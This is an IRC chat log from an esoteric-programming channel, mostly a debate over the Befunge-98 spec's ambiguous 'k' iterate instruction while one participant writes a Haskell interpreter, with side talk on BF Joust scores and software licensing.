08:30:52 <EgoBot> Score for impomatic_simple: 5.6
08:31:06 <impomatic> !bfjoust smile (>)*8(>[-])*21
08:31:10 <EgoBot> Score for impomatic_smile: 9.9
08:32:08 -!- Lymia_ has quit (Ping timeout: 240 seconds).
08:49:51 <Ilari> APNIC: 1 735 168 addresses (0.103 blocks) IPv4 addresses allocated/assigned this month. 1 769 480 IPv4 /48s allocated/assigned (25.75ppm of a block). Granted, there's not a lot of activity, probably because of Chinese new year...
08:50:00 <impomatic> !bfjoust ink >(+>+<)*9999999999
08:50:05 <Ilari> *IPv6 /48s
08:50:24 <EgoBot> Score for impomatic_ink: 0.0
08:50:42 <Ilari> One would expect it to pick pace again after this week.
08:52:08 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
08:58:00 <Ilari> Inetcore now has X-day estimate of 1st August.
09:04:04 <Ilari> Except that the Huston prediction which it is based looks seriously buggered base on the graphs.
09:06:01 <Ilari> *based
09:19:47 -!- maximum_yellow has quit (Ping timeout: 240 seconds).
09:21:52 -!- maximum_yellow has joined.
09:46:39 -!- oerjan has quit (Quit: Lost terminal).
10:02:53 -!- Lymia_ has joined.
10:06:06 -!- Lymia__ has quit (Ping timeout: 240 seconds).
10:13:42 -!- BeholdMyGlory has joined.
10:19:13 -!- Behold has joined.
10:19:53 -!- BeholdMyGlory has quit (Ping timeout: 255 seconds).
10:46:45 -!- BeholdMyGlory has joined.
10:47:11 -!- Behold has quit (Read error: Operation timed out).
10:57:41 -!- Lymia__ has joined.
11:00:52 -!- Lymia_ has quit (Ping timeout: 240 seconds).
11:05:51 -!- elliott has joined.
11:05:57 <elliott> 04:54:29 <Lymia> What programming language are you using.
11:05:59 <elliott> 04:54:44 <quintopia> java
11:06:01 <elliott> the exit is that way ->
11:06:22 -!- ais523 has joined.
11:06:24 <elliott> 05:23:25 <Lymia> quintopia, it might have alot to do with the langauge I'm using too.
11:06:24 <elliott> 05:23:49 <Lymia> programs = select(new File(outputDir,"generation-"+i),targets,(programs map mutate) ++ programs)
11:06:30 <elliott> Lymia__: you _would_ really like Haskell
11:06:42 <elliott> it's like Scala's functional parts, except even moreso
11:06:44 <elliott> hi ais523
11:06:55 <ais523> hi elliott
11:07:09 <ais523> also, every programmer deserves to know at least a moderate amount of Haskell even if they never use it
11:07:50 <Deewiant> elliott: Through sanity.bf without crashing yet?
11:08:10 <elliott> Deewiant: dude, i'm not even awake yet
11:08:27 <elliott> Deewiant: i realised what the problem is when i was trying to sleep and failing, though
11:08:41 <elliott> basically, if we're not at an edge, advance just gives the new coords. which can be spaces
11:08:47 <elliott> conclusion: I need nextIns like you said
11:10:19 <elliott> ais523: to explain this conversation, I've given in to the INTENSE BEFUNGE-98 FEVER.
11:10:44 <ais523> elliott: I figured that out from your talk yesterday
11:10:55 <elliott> ah
11:11:02 <ais523> still, it's an understandable fever, befunge-98 is atm the only practical esolang
11:11:33 <elliott> oh, it's more that the test suite and performance things Deewiant made are so hilariously comprehensive that how could you not try and win?
11:11:50 <elliott> also, uh, I'm tired of cfunge's reign of fixed-initial-size-copterror
11:11:56 <Deewiant> elliott: I expect a full pass on mycotrds by tomorrow
11:11:56 <elliott> *coupled-with-hash-map-of-slowness terror
11:11:59 <elliott> Deewiant: Oh totally.
11:12:15 <elliott> Deewiant: Actually TRDS should not be that hard considering that a tick is pretty solidly defined as an atomic action in this code.
11:12:27 <Deewiant> "TRDS should not be that hard" :-D
11:12:40 <elliott> Deewiant: LET ME LIVE IN TRANQUILITY
11:12:58 <elliott> Deewiant: I've also fleshed out a plan to do fingerprints nicely.
11:13:09 <Deewiant> Of course since you're living in Haskell-land you can just remember all old fungestates
11:13:16 <elliott> :-D
11:13:17 <elliott> PRECISELY
11:13:20 <elliott> HistoricalStateT
11:13:30 <Deewiant> Wonder how much memory that would end up using
11:13:30 <elliott> No wait, that's just ContT StateT, I think.
11:13:33 <elliott> Or StateT ContT.
11:13:35 <elliott> Deewiant: LOTS
11:13:37 <elliott> Deewiant: *NOT ENOUGH
11:13:57 <elliott> 05:23:25 <Lymia> quintopia, it might have alot to do with the langauge I'm using too.
11:13:57 <elliott> 05:23:49 <Lymia> programs = select(new File(outputDir,"generation-"+i),targets,(programs map mutate) ++ programs)
11:13:58 <elliott> .
11:13:59 <elliott> oops
11:14:01 <elliott> Notes to time travelling ips:
11:14:01 <elliott> Usage of time travel can be very punishing on the performance of the funge interpreter. If travel is performed to the past, the interpreter must be capable of reproducing all conditions that existed at the destination time, which includes all ips, stacks, and funge space cells. Some interpreters may only store time snapshots from only so far back (The furthest point in the past that can be jumped to can be determined with the P command).
11:14:05 <elliott> Some interpreters CHEAT
11:14:30 <Deewiant> CCBI does what I think is reasonable: it allows you to travel back up to the time when you loaded TRDS, but not before
11:14:49 <Deewiant> That way TRDS has very little performance impact unless you actually use it.
11:15:51 <elliott> Deewiant: Think I'll have a --trds-very-slow for going before that. :P
11:16:19 <Deewiant> I suppose I could add that too.
11:16:37 <Deewiant> You know, because it's an important use case.
11:16:45 <elliott> Deewiant: Absolutely.
11:17:07 <elliott> Deewiant: BTW, I expect a test for -2kabcd jumping to c in Mycology, stat.
11:17:10 <ais523> all you /actually/ need to do is store past input up to that point
11:17:20 <ais523> then, if TRDS is loaded, you can rerun the program from scratch to see what it did
11:17:27 <ais523> </Feather>
11:17:36 <elliott> ais523: *</Computer Scientist>
11:17:43 <elliott> *Theoretical Computer (ok, that's the only kind)
11:17:43 <ais523> (note: Feather's name has the property that it starts with a capital F even on IRC)
11:17:49 <Deewiant> All you /actually/ need to do is store the initial state.
11:17:55 <ais523> elliott: well, that's what Feather does for /everything/
11:18:01 <Deewiant> But that's expensive, which is why it's not done at the start. :-P
11:18:31 * elliott renames the FM monad to Shiro
11:18:33 <elliott> PRIORITIES
11:18:42 <elliott> Deewiant: Does sanity.bf use \r\n newlines?
11:19:04 <Deewiant> elliott: Run 'file sanity.bf' and see!
11:19:11 <elliott> SO FUCKING TIRED okay.
11:19:15 <elliott> Actually I'll just fix my parse.
11:19:17 <elliott> *parser.
11:19:46 <Deewiant> Dude, you were gone for over 9 hours, how can you be tired
11:19:59 <elliott> I spent like two of those sleeping.
11:20:09 <elliott> The others were spent being unable to sleep and thinking way more about Befunge than I wanted to.
11:20:27 <elliott> As such, I've practically got a few hours of code buffered up in my head, but am barely in any state to write it at all.
11:20:36 <Deewiant> heh
11:21:07 <ais523> am I right in thinking that a 1-counter nondeterministic Minsky machine is not just TC, but so far from TC that it doesn't even resemble it?
11:21:28 <elliott> ais523: I think so
11:21:31 <ais523> (the "nondeterministic" bit makes it not quite obvious)
11:21:34 <ais523> but I think so too
11:21:41 <ais523> *not just not TC
11:21:43 <elliott> -- these functions should arguably go in Shiro.Monad
11:21:43 <elliott> this is my way of telling myself that these really belong in Shiro.Monad and to move them
11:22:03 <ais523> is Shiro going to end up almost as overengineered as jettyplay?
11:22:15 <elliott> not really, I already have the basic instructions down
11:22:18 <elliott> and fungespace and all that
11:22:24 <elliott> I'm starting out really simple and stupid until I pass Mycology
11:22:27 <elliott> and only then will I optimise in any way
11:22:33 <elliott> unless I really need it to execute all of Deewiant's tests
11:22:40 <elliott> then fingerprints come
11:22:50 <elliott> (got a rather nice typeclass system for those :P)
11:23:25 <ais523> in jettyplay, I had to start the optimisations pretty early
11:23:34 <ais523> because it used to leak enough memory to crash after a few minutes
11:23:47 <elliott> I blame Java
11:23:53 <ais523> it turned out the memory leak bug was actually in the Java stdlib (arguably not a bug, but an insane restriction)
11:23:57 <ais523> but I figured out how to work around it
11:24:11 <elliott> wow, I'm irritable
11:24:14 <ais523> before I discovered that, though, I'd optimised the memory usage for all the rest of the code first
11:24:22 <elliott> mergeByteString (ox,oy) fs = snd . foldl' line (oy,fs) . B8.lines . B.filter (/= ff)
11:24:22 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (ox,fs) s)
11:24:22 <elliott> byte y (x,fs) w = (x+1, if w == space then fs else insertFS (x,y) (fromIntegral w) fs)
11:24:23 <elliott> TODO:
11:24:24 <elliott> remove filter
11:24:26 <elliott> remove B8.lines
11:24:30 <elliott> make this the most insane fold ever
11:25:24 <ais523> hmm, seeing that on my IRC client gives me the idea of writing code in a proportional-width font, and using all the whitespace characters in Unicode to make it line up perfectly anyway
11:25:39 <ais523> except vertical tab, because nobody seems to know what it's meant to do any more, and it's normally just interpreted as newline
11:27:37 <elliott> mergeByteString :: Vector -> FungeSpace -> ByteString -> FungeSpace
11:27:38 <elliott> mergeByteString (ox,oy) fs = snd . foldl' byte ((ox,oy),fs,False)
11:27:38 <elliott> where byte (p@(x,y),fs,lastWasCR) w
11:27:38 <elliott> | w == ff || (w == lf && lastWasCR) = (p, fs, False)
11:27:38 <elliott> | w == cr || w == lf = ((x,y+1), fs, w == cr)
11:27:38 <elliott> | w == space = ((x+1,y), fs, False)
11:27:40 <elliott> | otherwise = ((x+1,y), insertFS p (fromIntegral w) fs, False)
11:27:42 <elliott> that should do it
11:27:44 <elliott> ais523: like myndzi? \o/
11:27:44 <myndzi> |
11:27:45 <myndzi> /<
11:27:53 <elliott> that uses special characters to make it line up in mIRC
11:27:59 <ais523> ah, I didn't know
11:28:03 <ais523> no wonder it never seems to line up for me
11:28:12 <elliott> ais523: well, no, it's for monospaced mIRC users
11:28:14 <elliott> ais523: also, IIRC the Emacs source code has ^Ls in it
11:28:22 <ais523> elliott: those are page breaks
11:28:34 <elliott> oh, right
11:28:41 <elliott> ais523: that's still pretty crazy, though
11:28:44 <ais523> they have various semantic value in code
11:28:51 <ais523> page breaks between functions are natural, if you think about it
11:29:01 <elliott> indeed, but still quite insane
11:29:04 <ais523> and they're "whitespace", so C-like langs should ignore them
11:29:04 <elliott> I wonder what it looks like in Emacs itself?
11:29:11 <ais523> and it just shows ^L, in red
11:29:14 <elliott> "Why doesn’t this exist yet: Syntax-aware merge" helloooo, Scapegoat!
11:29:31 <elliott> (title of blog post by founder of Freenet who also does a lot of other things seemingly)
11:29:43 <elliott> "Well, just such a problem has been floating around for several years, and is as-yet unanswered. I proposed it two years ago, and others have suggested it several years before that." it's because we're all waiting for scapegot
11:29:45 <elliott> *scapegoat
11:29:47 <Deewiant> elliott: snd works on pairs, not triples
11:29:55 <ais523> anyway, my lecture this morning made me internally facepalm a bit
11:29:57 <elliott> Deewiant: fucking fuck >_<
11:30:06 <elliott> you can't see it, but my eyes are drooping
11:30:41 <elliott> mergeByteString :: Vector -> FungeSpace -> ByteString -> FungeSpace
11:30:41 <elliott> mergeByteString (ox,oy) fs s = fs'
11:30:42 <elliott> where (_,fs',_) = B.foldl' byte ((ox,oy),fs,False) s
11:30:42 <elliott> byte (p@(x,y),fs,lastWasCR) w
11:30:42 <elliott> | w == ff || (w == lf && lastWasCR) = (p, fs, False)
11:30:42 <elliott> | w == cr || w == lf = ((x,y+1), fs, w == cr)
11:30:44 <elliott> | w == space = ((x+1,y), fs, False)
11:30:48 <elliott> | otherwise = ((x+1,y), insertFS p (fromIntegral w) fs, False)
11:30:50 <elliott> even supports \r<FF>\n as two newlines, I think
11:31:01 <Deewiant> Yep
11:31:02 <ais523> to start with, they were showing code samples on a projector, but the interesting part is that the projector was connected to a Mac laptop, connected via a wireless network to two levels of ssh -X (one to get inside a firewall, one to get to the actual target machine which was just one of the machines in the undergraduate computing labs) and used to run xterm
11:31:19 <elliott> N-tuples: the quick-and-dirty state monad!
11:31:21 <ais523> just so that the code would work exactly the same way as it did for the undergrads
11:31:25 <elliott> *N-tuple folds:
11:31:29 <elliott> ais523: :D
11:31:35 <elliott> ais523: ("badly"?)
11:31:57 <elliott> ok, now to move things outside of Interpreter.hs
11:32:01 <elliott> then write nextInsPos / goToNextIns
11:33:07 <ais523> then, actually using the terminal, there were similar insanities
11:33:15 <ais523> the most minor was using control-Z followed by bg to exit less
11:33:34 <ais523> (control-Z on less can make sense, but not this time, as the same file was immediately opened in an editor; bg on less can't)
11:34:07 <ais523> and then the rest of the session he put & on everything but make and running the resulting executables, to background it
11:34:14 <ais523> including cd, which of course doesn't work very well backgrounded
11:34:16 <elliott> "that would depend on how you define 'proprietary'. I consider the GNU ecosystem code lock-in to be a form of proprietary (since the BSD's, anything under MIT, Illumos, etc can't take advantage of it)"
11:34:17 <elliott> oh my god, shut up
11:34:27 <elliott> every fucking time on /r/programming someone mentions that the gpl is Free in any way
11:34:28 <ais523> elliott: they can, by converting to GPL
11:34:30 <elliott> all
11:34:31 <elliott> the
11:34:32 <elliott> fucking
11:34:32 <elliott> whiners
11:34:35 <elliott> come out of the woodwork
11:34:58 <elliott> I even basically agree with them but they're all annoying [expletive]s about it >_<
11:35:03 <ais523> elliott: it's interesting hearing that from someone who thinks BSD > GPL, anyway
11:35:22 <ais523> btw, I wonder what would happen if someone made a career about making GPLed improvements to BSDed code?
11:35:29 <elliott> I think the GPL is perfectly Free, I just don't use it myself, and therefore dislike GPL libraries because I can't use them at all
11:35:39 <elliott> ais523: probably the FSF would love them and the projects would hate them
11:35:44 <ais523> and if the people who owned the BSDed code complained, said that their license was specifically designed to let them do that?
11:35:54 <elliott> I wouldn't mind, actually
11:36:18 <ais523> I'm a little annoyed because I often end up choosing GPLv2 out of practicality (existing libraries, and not annoying GPLv3 haters)
11:36:26 <ais523> even though it's a crazy license in that it has known bugs
11:36:35 <ais523> which people have taken to be features, somehow
11:36:39 <elliott> ais523: If I was satisfied with my software before and someone releases an improved version under an incompatible license, it doesn't really matter
11:36:45 <elliott> I'm almost certainly going to be able to implement the same improvements
11:36:52 <ais523> elliott: in that case, BSD possibly is the right license for you
11:37:01 <elliott> And I don't really code for having the perfect piece of software, anyway, fun takes priority usually.
11:37:42 <elliott> ais523: it's like when a third-party seller started selling Mark Pilgrim's Creative Commons-licensed-but-traditionally-published book, without giving him any of the money, he just wrote a blog post about it saying he didn't care :-P
11:38:06 <ais523> indeed, and I don't even see why he should
11:38:06 <elliott> Deewiant: Weird how the only comparison functions are z and `.
11:38:12 <elliott> Or, er, w.
11:38:21 <elliott> And of them, w is weird.
11:38:23 <Deewiant> _ and |.
11:38:30 <ais523> it's like Red Hat publishing my improvements to the Nibbles AI
11:38:31 <elliott> Deewiant: Those aren't really comparisons. :P
11:38:52 <ais523> (although, only as part of a mass import of other things, really)
11:39:00 <Deewiant> -| is like checking for equality.
11:39:14 <elliott> Deewiant: Good point.
11:39:17 <elliott> AESTHETICALLY PLEASING, TOO!
11:39:22 <ais523> hmm, Gnome seem not to require copyright assignment, at least I don't remember any legal papers wrt that when I submitted patches to them
11:39:27 <elliott> Deewiant: If I start talking about nested k will you run away?
11:39:28 <Deewiant> I usually use -#v_ :-P
11:39:35 <ais523> in fact, I don't even think I explicitly remembered to mark the patches GPL, perhaps they thought it was obvious
11:39:38 <Deewiant> No, but I won't talk about it much either
11:39:54 <elliott> Deewiant: Because I'm totally convinced that all nested ks see the same instruction, which will be a k.
11:40:06 <elliott> ...unless you change IP direction half-way through, but I'm not even going to think about that.
11:40:17 <ais523> elliott: so you think kk is /always/ an infinite loop, except if given 0 as an arg?
11:40:22 <ais523> well, multiple 0s
11:40:27 <elliott> ais523: _not_ an infinite loop
11:40:34 <ais523> ah, wait, it'd exhaust the stack eventually
11:40:36 <ais523> ouch
11:40:36 <elliott> yep
11:40:40 <elliott> and then skip forwards
11:40:53 <elliott> after five ticks, 34kk56 yields the stack "5 6"
11:40:56 <elliott> _in my opinion_
11:41:03 <elliott> Deewiant's seems to differ, but that's because he's wrong :-)
11:41:04 <ais523> hmm, I think you're right there, actually
11:41:14 <ais523> given that k is always run at the k itself
11:41:16 <elliott> ais523: the ambiguity is easily traceable to one sentence
11:41:24 <elliott> The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction in Funge-space in the path of the IP (note that this cannot be a marker such as space or ;), treats it as an instruction, executing it n times. This takes only one tick with respect to concurrent operation.
11:41:29 <elliott> ais523: "Then it finds the next instruction in Funge-space in the path of the IP"
11:41:37 <elliott> ais523: is this the next instruction after the k, or the next instruction after the IP?
11:41:41 <elliott> "next" is ambiguous here
11:41:43 <elliott> because of the previous sentence
11:41:57 <ais523> ah, yes
11:42:16 <ais523> wait, isn't the IP always treated as being at the k anyway?
11:42:20 <ais523> so it doesn't make any difference?
11:42:28 <elliott> ais523: no
11:42:30 <elliott> ais523: because the second k
11:42:41 <ais523> oh, ouch
11:42:48 <elliott> does it look at the instruction to the right of the IP (itself, "k") or to the right of the k ("5")?
11:42:58 <ais523> so for kk, the question is which k has its location treated as containing the IP?
11:43:06 <elliott> ais523: apparently, Vorpal special-cases nested "k"s, which suggests to me that his interpretation is probably objectively wrong, so I'm not going to try and find out what it is :P
11:43:10 <elliott> ais523: not really
11:43:13 <elliott> the IP is objectively on the first k
11:43:18 <ais523> indeed
11:43:24 <ais523> and that's true no matter what instruction you execute
11:43:25 <elliott> but the question is whether the sentence tells you to look for the first instruction after the IP
11:43:29 <ais523> e.g. ^ turns upwards from the first k
11:43:29 <elliott> or after the current k
11:43:37 <ais523> so the "current k" is always the first one
11:43:39 <elliott> ais523: oh, and here's some fun for you
11:43:45 <ais523> whether it's executing ^ or k or # or whatever
11:43:47 <elliott> ais523: what happens if you change IP direction half-way through the "k"s?
11:43:52 <ais523> elliott: I'm not sure you /can/
11:44:12 <elliott> ais523: if we go by the next-instruction-after-the-k, then consider 22kk<
11:44:14 <ais523> oh, you mean like 4k] or whatever, nothing to do with nested k?
11:44:28 <elliott> so let's trace this
11:44:31 <elliott> 22kk | stk:
11:44:34 <elliott> erm
11:44:35 <ais523> elliott: "next instruction after the k" is the second k, because "the k" is always the first one
11:44:36 <elliott> i'll put the ip
11:44:40 <elliott> with | before the thing that will be executed next
11:44:45 <elliott> ais523: erm, I mean after the current k
11:44:48 <ais523> Deewiant: what does 4k" do?
11:44:50 <elliott> "The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction"
11:44:54 <elliott> ais523: see ^
11:44:56 <ais523> elliott: the "current k" is always at the location of the first k
11:44:58 <elliott> ais523: wrong
11:44:59 <elliott> "The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction"
11:45:02 <elliott> ais523: it could mean
11:45:03 <ais523> elliott: here: 1ky
11:45:06 <elliott> Then it finds the next instruction [after the k]
11:45:11 <ais523> what location will the y command push onto the stack?
11:45:11 <elliott> ais523: see?
11:45:15 <ais523> for the IP location?
11:45:17 <elliott> ais523: no, you don't understand
11:45:21 <elliott> ais523: where the IP is might be irrelevant
11:45:22 <ais523> elliott: no, /you/ don't understand
11:45:25 <elliott> *sigh*
11:45:30 <elliott> not this again
11:45:33 <ais523> elliott: what I'm saying is, the /y is in the same position as the k/
11:45:36 <ais523> when running inside the loop
11:45:42 <elliott> ais523: wrong
11:45:45 <ais523> say k took the command to loop from the stack, rather than fungespace
11:45:46 <elliott> ais523: the IP is where the k is
11:45:48 <ais523> let's call this K
11:45:48 <elliott> the "y" isn't anywhere
11:45:57 <ais523> and we do 1"y"K
11:45:58 <elliott> ais523: an instruction at (x,y) can execute at a place that is not (x,y)
11:46:05 <elliott> this does not mean that instructions are at that location for their execution!
11:46:12 <elliott> Deewiant: tell him he's insane :P
11:46:13 <ais523> elliott: the fact that the instruction is at (x,y) is completely irrelevant
11:46:18 <elliott> ais523: no, it _isn't
11:46:19 <elliott> _
11:46:25 <elliott> "The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction in Funge-space [...]"
11:46:32 <ais523> it's as irrelevant as the fact that the instruction's at 0x12400 or whatever
11:46:41 <ais523> umm, *0x1f2400
11:46:47 <ais523> I need to make that look like a legitimate pointer!
11:47:29 <ais523> what k doesn't do is cause the instruction to run itself displaced, somehow, but remembering where it is in fungespace
11:47:36 <ais523> as there's nothing in the spec that implies that that makes sense at all
11:47:42 <elliott> yes, there is
11:47:43 <ais523> it looks at fungespace to see which instruction to run
11:47:47 <elliott> ok, ais523
11:47:49 <ais523> not "which instruction and its location and all its metadata"
11:47:52 <ais523> just "which opcode"
11:47:55 <elliott> stop and try and understand the alternate position for a second
11:48:16 <elliott> rather than defending your interpretation because of the tautological "it's what the spec says!"
11:48:19 <elliott> *circular
11:48:21 <elliott> not tautological
11:48:23 <elliott> "The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction in Funge-space [...]"
11:48:30 <elliott> ais523: consider this sentence
11:48:33 <ais523> the alternate position is, I suppose, that instructions intrinsically memorise where they are in fungespace, so that if you run them indirectly, via k or an eval fingerprint or whatever, they remember where they were just to make the definition of k ambiguous
11:48:40 <elliott> ais523: We take an instruction. Then we take the next instruction, in the path of the IP.
11:48:52 <elliott> ais523: to me, the latter sentence could _easily_ be referring to the next instruction after the _first one_ in the path of the IP
11:48:55 <ais523> where's the "we take an instruction"
11:49:00 <elliott> ais523: IT'S AN EXAMPLE
11:49:01 <ais523> you're implying that into the spec, it doesn't say that at all
11:49:12 * elliott bashes his head into the brick wall that is ais523.
11:49:13 <ais523> the spec says what k does, not what k at (5,10) does
11:49:32 <elliott> ais523: some instructions in Funge-98 make no fucking sense and require pieces of state that no other part of the language does
11:49:37 <elliott> this should not surprise you.
11:49:43 <ais523> it's defining the concept of k instructions (think class in OO programming), not a specific k instruction individually (think object in OO programming)
11:49:44 <elliott> and it's not a reason to discount an interpretation
11:49:55 <ais523> I'm just reading the plain language of what it says
11:49:55 <elliott> the fact that doing it that way is insane is irrelevant
11:49:59 <elliott> the question is what the spec literally says
11:50:02 <elliott> which is ambiguous in this instance
11:50:10 <ais523> hmm, what are instructions defined /as/?
11:50:16 <elliott> they're not
11:50:21 <ais523> at all?
11:50:36 <elliott> well
11:50:36 <elliott> All standard instructions are one character long and range from ASCII 32 (space) to ASCII 126 (~). There are no multicharacter instructions in Funge.
11:50:41 <elliott> ais523: it tells you a lot of things about instructions
11:50:44 <elliott> but not what an instruction actually is
11:50:47 <elliott> An instruction is executed by an IP every tick. The IP executed is the one at the current position of the IP. Only after that does the IP moves by its delta to a new position.
11:50:48 <elliott> etc.
11:51:11 <ais523> hmm, why is the funge-98 spec not linked from the wiki?
11:51:23 <ais523> elliott: they range from 32 to 126
11:51:28 <ais523> do any of those numbers contain position metadata?
11:51:36 <elliott> *sigh*
11:51:55 <elliott> Where the k is is part of execution state, not instruction state. The specification creates plenty of tracking of additional state without explicitly stating that it is doing so.
11:52:03 <ais523> elliott: you can't claim that "instruction" includes "position in the source"
11:52:06 <elliott> It does so with off-hand notes, e.g. fields of y that require whole-interpreter tracking to satisfy.
11:52:25 <elliott> The spec is incredibly ambiguous and you're basically saying "don't be silly, that would require things to be insane to make sense", but they _are_.
11:52:26 <elliott> ais523: http://catseye.tc/projects/funge98/doc/funge98.html
11:52:48 <ais523> what I'm saying is, that "next instruction" can't have an implied "after the original position in the fungespace that that copy of the instruction was copied from", because "instruction" is specified not to include that data
11:53:14 <elliott> Deewiant: I'm actually curious to the answer to ais523's question, what does 5k" do?
11:53:24 <Deewiant> " just toggles stringmode
11:53:33 <elliott> Deewiant: also, /please/ tell me that "hello;bar;quux" is the same as "helloquux"
11:53:39 <Deewiant> It's not
11:53:45 <elliott> Deewiant: i fucking hate stringmode. :)
11:53:46 <ais523> Deewiant: but what does being in stringmode do to the subsequent "s?
11:53:56 <ais523> as in, does it cause them to quote themselves? or to toggle stringmode?
11:53:57 <elliott> ais523: in stringmode, " still toggles stringmode
11:53:57 <Deewiant> In stringmode, " turns off stringmode.
11:53:59 <ais523> ah
11:54:03 <ais523> ofc
11:54:04 <elliott> Deewiant: *hi5*
11:54:24 <ais523> hmm, doesn't b98 have a quote-one-char command? ' or something like that?
11:54:32 <elliott> yes
11:54:42 <elliott> There is also a ' "Fetch Character" instruction in Funge-98. This pushes the Funge character value of the next encountered cell (position + delta) onto the stack, then adds the delta to the position (like #), skipping over the character (in no ticks). For example, the following two snippets perform the same function, printing a Q:
11:54:45 <ais523> so 5k' is similarly interesting
11:54:55 <elliott> I think there's a note about k' in the Mycology readme.
11:54:57 <ais523> and you've even got a definition of "next encountered cell" there
11:55:13 <elliott> Hmm, no.
11:55:16 <elliott> Deewiant: What does k' do.
11:55:17 <ais523> it's also an insane one
11:55:25 <elliott> ais523: it's not
11:55:28 <elliott> ais523: except for not wrapping
11:55:30 <ais523> elliott: it doesn't allow for wrapping
11:55:33 <ais523> or SGML spaces
11:55:34 <ais523> or ;
11:55:38 <ais523> what does '; do, for instance?
11:55:41 <ais523> what about ; .... '
11:55:42 <elliott> pushes ;
11:55:44 <ais523> around a line?
11:55:55 <elliott> ais523: pushes space forever
11:56:06 <ais523> I'm inclined to say "pushes 32", but that's one of the ambiguities that Mycology has as UNDEF, IIRC
11:56:09 <elliott> I love how much longer the TRDS extended spec is than the TRDS spec.
11:56:29 <elliott> ais523: a lot of Mycology actually-bads are UNDEFs to shut Vorpal up
11:56:31 <elliott> ;)
11:57:08 <ais523> anyway, what 1k' does is clearly to push ' onto the stack at the k, and then execute the ' again (because k doesn't skip it) and push the next char onto the stack too
11:57:22 <ais523> the position+delta specification makes that completely unambiguous regardless of what k actually does, even to you
11:57:36 <elliott> indeed
11:57:45 <elliott> ais523: hey, I *support* your interpretation of k
11:57:49 <elliott> I just think that the other one is basically as valid
11:57:53 <ais523> oh, "skipping over the character", hmm
11:58:00 <ais523> that does seem to imply position metadata
11:58:03 <elliott> HA
11:58:05 <elliott> TOLD YOU
11:58:13 <ais523> so does 5k' jump 5 chars forwards? or to just after the '?
11:58:27 <elliott> well
11:58:28 <elliott> let's say
11:58:33 <elliott> 1k'xy
11:58:38 <elliott> the first time, the ' pushes '
11:58:41 <elliott> and therefore skips over the '
11:58:44 <elliott> and therefore executes xy
11:58:52 <ais523> yep, I think I agree with that
11:58:57 <ais523> but 2k'xy instantly becomes insane
11:59:01 <elliott> let me think about it
11:59:02 <elliott> 2k'xy
11:59:04 <elliott> the ' pushes '
11:59:06 <ais523> the first time, ' pushes ', then skips over the '
11:59:07 <elliott> and therefore skips over the '
11:59:11 <Deewiant> elliott: Nested k debug printfs, figure it out
11:59:11 <elliott> and then executes x
11:59:13 <elliott> and now k comes in
11:59:17 <elliott> no wait
11:59:19 <Deewiant> Except that you need to shut up for the pastespam
11:59:23 <elliott> skipping over the ' took one tick
11:59:28 <elliott> Deewiant: ?
11:59:33 <Deewiant> IP hit k at (2,0); moved to (3,0)
11:59:33 <Deewiant> Moved to next instruction at (3,0) and found 107
11:59:33 <Deewiant> Executing 'k' 4 times at (2,0)...
11:59:33 <Deewiant> IP hit k at (2,0); moved to (3,0)
11:59:33 <Deewiant> Moved to next instruction at (3,0) and found 107
11:59:35 <ais523> the thing is, there's a contradiction in the spec here
11:59:35 <Deewiant> Executing 'k' 3 times at (2,0)...
11:59:37 <Deewiant> IP hit k at (2,0); moved to (3,0)
11:59:40 <Deewiant> Argument is zero or negative: skipping instruction, position left as (3,0)
11:59:42 <Deewiant> IP hit k at (3,0); moved to (4,0)
11:59:45 <Deewiant> Argument is zero or negative: skipping instruction, position left as (4,0)
11:59:47 <elliott> Deewiant: I'm just asking about 5k'
11:59:47 <Deewiant> IP hit k at (4,0); moved to (5,0)
11:59:50 <Deewiant> Argument is zero or negative: skipping instruction, position left as (5,0)
11:59:50 <elliott> shut up >_<
11:59:52 <ais523> hmm, the location at which the k executes is not the location at which the IP is
11:59:53 <Deewiant> Done executing 'k' 3 times at (5,0)
11:59:53 <elliott> I'm trying to work out 2k'
11:59:55 <Deewiant> IP hit k at (5,0); moved to (6,0)
11:59:58 <Deewiant> Argument is zero or negative: skipping instruction, position left as (6,0)
11:59:59 <elliott> aargh
12:00:00 <Deewiant> IP hit k at (6,0); moved to (7,0)
12:00:03 <Deewiant> Argument is zero or negative: skipping instruction, position left as (7,0)
12:00:05 <Deewiant> IP hit k at (7,0); moved to (8,0)
12:00:08 <Deewiant> Argument is zero or negative: skipping instruction, position left as (8,0)
12:00:08 <elliott> couldn't you have pastebinned that rather than doing it right as i try and trace an execution
12:00:10 <Deewiant> Done executing 'k' 4 times at (8,0)
12:00:13 <Deewiant> That's for your 34kk56
12:00:14 <ais523> obviously, in the case of, say, 5k#
12:00:15 <Deewiant> No
12:00:27 <elliott> <elliott> 2k'xy
12:00:27 <elliott> <elliott> the ' pushes '
12:00:27 <elliott> <elliott> and therefore skips over the '
12:00:29 <elliott> AND THAT TAKES ONE TICK
12:00:32 <elliott> so k comes in
12:00:33 <elliott> but note
12:00:35 <elliott> the IP is now at the x
12:00:40 <elliott> so k looks one right of the IP
12:00:42 <elliott> finds y
12:00:44 <elliott> executes y
12:00:45 <elliott> and finishes
12:00:45 <Deewiant> k' is like k# except that you push the chars
12:00:51 <Deewiant> No?
12:00:53 <elliott> ais523: (that's with the k-is-based-on-IP interpretation)
12:01:12 <elliott> Deewiant: Yes; I believe your interpretation of k is wrong.
12:01:13 <elliott> and ais523 agrees :P
12:01:18 <elliott> although I think it's not wrong
12:01:21 <elliott> I think it's legitimately ambiguous
12:01:32 <elliott> Deewiant: [[The k "Iterate" instruction pops a value n off the stack. Then it finds the next instruction in Funge-space in the path of the IP]]
12:01:32 <ais523> elliott: k definitely remembers the instruction it's executing, based on the stack
12:01:37 <Deewiant> In the spec, it is a bit ambiguous
12:01:39 <elliott> Deewiant: does it mean the literal /next instruction in the path of the IP?
12:01:40 <elliott> */?
12:01:43 <Deewiant> But it's been discussed and there's consensus
12:01:44 <ais523> e.g. 5k' always runs ' five times
12:01:45 <elliott> Deewiant: or the instruction after the k?
12:01:47 <ais523> even though the IP's moving
12:01:49 <elliott> Deewiant: it's ambiguous
12:01:54 <Deewiant> And we brought Pressey in on it so it's not wrong :-P
12:01:57 <elliott> ais523: hmm, indeed
12:02:10 <elliott> Deewiant: but I don't see any justification of your interpretation, it seems less literal than mine
